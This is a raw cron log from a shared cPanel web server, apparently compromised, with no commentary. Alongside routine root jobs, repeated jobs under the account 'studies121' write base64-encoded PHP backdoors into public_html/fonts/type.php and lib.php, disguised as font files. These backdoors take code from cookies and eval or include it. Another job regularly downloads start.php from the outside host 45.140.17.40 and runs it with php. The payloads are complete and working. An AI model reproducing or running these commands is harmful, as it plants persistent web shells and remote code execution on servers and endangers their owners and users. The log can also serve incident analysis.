Sep  5 16:37:01 ip-184-168-122-23 CROND[19060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:37:01 ip-184-168-122-23 CROND[19062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:38:01 ip-184-168-122-23 CROND[19148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:38:01 ip-184-168-122-23 CROND[19151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:38:01 ip-184-168-122-23 CROND[19149]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:38:01 ip-184-168-122-23 CROND[19150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:38:01 ip-184-168-122-23 CROND[19152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:39:01 ip-184-168-122-23 CROND[19235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:39:01 ip-184-168-122-23 CROND[19237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:39:01 ip-184-168-122-23 CROND[19238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:39:01 ip-184-168-122-23 CROND[19239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:39:01 ip-184-168-122-23 CROND[19240]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 16:40:01 ip-184-168-122-23 CROND[19343]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:40:01 ip-184-168-122-23 CROND[19348]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:40:01 ip-184-168-122-23 CROND[19344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:40:01 ip-184-168-122-23 CROND[19345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:40:01 ip-184-168-122-23 CROND[19349]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:40:01 ip-184-168-122-23 CROND[19347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:40:01 ip-184-168-122-23 CROND[19350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:40:01 ip-184-168-122-23 CROND[19346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:41:01 ip-184-168-122-23 CROND[19524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:41:01 ip-184-168-122-23 CROND[19526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:41:01 ip-184-168-122-23 CROND[19525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:41:01 ip-184-168-122-23 CROND[19528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:42:01 ip-184-168-122-23 CROND[19632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:42:01 ip-184-168-122-23 CROND[19634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:42:01 ip-184-168-122-23 CROND[19635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:42:01 ip-184-168-122-23 CROND[19637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:42:01 ip-184-168-122-23 CROND[19636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:43:01 ip-184-168-122-23 CROND[19738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:43:01 ip-184-168-122-23 CROND[19740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:43:01 ip-184-168-122-23 CROND[19741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:43:01 ip-184-168-122-23 CROND[19742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:44:01 ip-184-168-122-23 CROND[19830]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:44:01 ip-184-168-122-23 CROND[19832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:44:01 ip-184-168-122-23 CROND[19833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:44:01 ip-184-168-122-23 CROND[19834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:44:01 ip-184-168-122-23 CROND[19835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:45:01 ip-184-168-122-23 CROND[19930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:45:01 ip-184-168-122-23 CROND[19931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:45:01 ip-184-168-122-23 CROND[19935]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  5 16:45:01 ip-184-168-122-23 CROND[19932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:45:01 ip-184-168-122-23 CROND[19936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:45:01 ip-184-168-122-23 CROND[19934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:45:01 ip-184-168-122-23 CROND[19933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:46:01 ip-184-168-122-23 CROND[20034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:46:01 ip-184-168-122-23 CROND[20038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:46:01 ip-184-168-122-23 CROND[20036]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 16:46:01 ip-184-168-122-23 CROND[20037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:46:01 ip-184-168-122-23 CROND[20039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:46:01 ip-184-168-122-23 CROND[20040]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 16:46:01 ip-184-168-122-23 CROND[20042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:47:01 ip-184-168-122-23 CROND[20143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:47:01 ip-184-168-122-23 CROND[20144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:47:01 ip-184-168-122-23 CROND[20142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:47:01 ip-184-168-122-23 CROND[20145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:48:01 ip-184-168-122-23 CROND[20220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:48:01 ip-184-168-122-23 CROND[20222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:48:01 ip-184-168-122-23 CROND[20224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:48:01 ip-184-168-122-23 CROND[20223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:48:01 ip-184-168-122-23 CROND[20225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:49:01 ip-184-168-122-23 CROND[20319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:49:01 ip-184-168-122-23 CROND[20320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
